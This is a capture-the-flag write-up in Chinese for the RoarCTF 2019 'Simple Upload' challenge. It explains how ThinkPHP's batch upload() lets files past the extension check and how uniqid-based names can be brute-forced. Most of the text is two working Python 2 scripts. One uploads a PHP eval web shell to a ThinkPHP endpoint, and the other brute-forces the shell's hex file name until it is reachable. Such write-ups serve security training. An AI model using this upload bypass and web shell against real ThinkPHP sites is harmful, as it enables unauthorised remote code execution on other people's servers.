[RoarCTF 2019]Simple Upload

0x00 知识点

1:Think PHP上传默认路径

默认上传路径是/home/index/upload

2:Think PHP upload()多文件上传
think PHP里的upload()函数在不传参的情况下是批量上传的,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测,至于为什么上传两次1.txt,是为了获取php文件的后缀,因为这里的后缀命名方式运用了uniqid函数它是基于微秒的当前时间来更改文件名的,两个同时上传生成的文件名相差不会太远。
3ThinkPHP 上传文件名爆破

先上传一个正常文件再上传一个木马文件,然后再上传一个正常文件,然后根据第一和第三个正常文件的文件名之间的差异,爆破出我们上传的木马文件

0x01 解题

利用下面脚本爆破我们的木马文件:

import requests
url = 'http://1a90b8c9-694d-44a9-bc8b-060cab5ca389.node3.buuoj.cn/index.php/Home/Index/upload'
file1 = {'file':open('1.txt','r')}
file2 = {'file[]':open('1.php','r')} #upload()不传参时即是批量上传所以用[]

r = requests.post(url,files = file1)
print r.text

r = requests.post(url,files = file2)
print r.text

r = requests.post(url, files = file1)
print r.text


这里可以看到两个文件之间是有6位数的不同,接下来我们只要控制这六位数爆破文件名即可

python2拿flag脚本

#coding:utf-8
import requests
import time
import json

url = "http://1a90b8c9-694d-44a9-bc8b-060cab5ca389.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print param
t1 = int(t1, 16)

j = t1
while True:
    path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
    try:
        r = requests.get(path,timeout=1)
    except:
        continue
    if r.status_code == 429:#规避过于频繁访问导致的429
        time.sleep(0.1)
        continue
    elif r.status_code != 404:
        print path
        print r.text
        break
    print j, path, r.status_code
    j -= 1
原文地址:https://www.cnblogs.com/wangtanzhi/p/12257246.html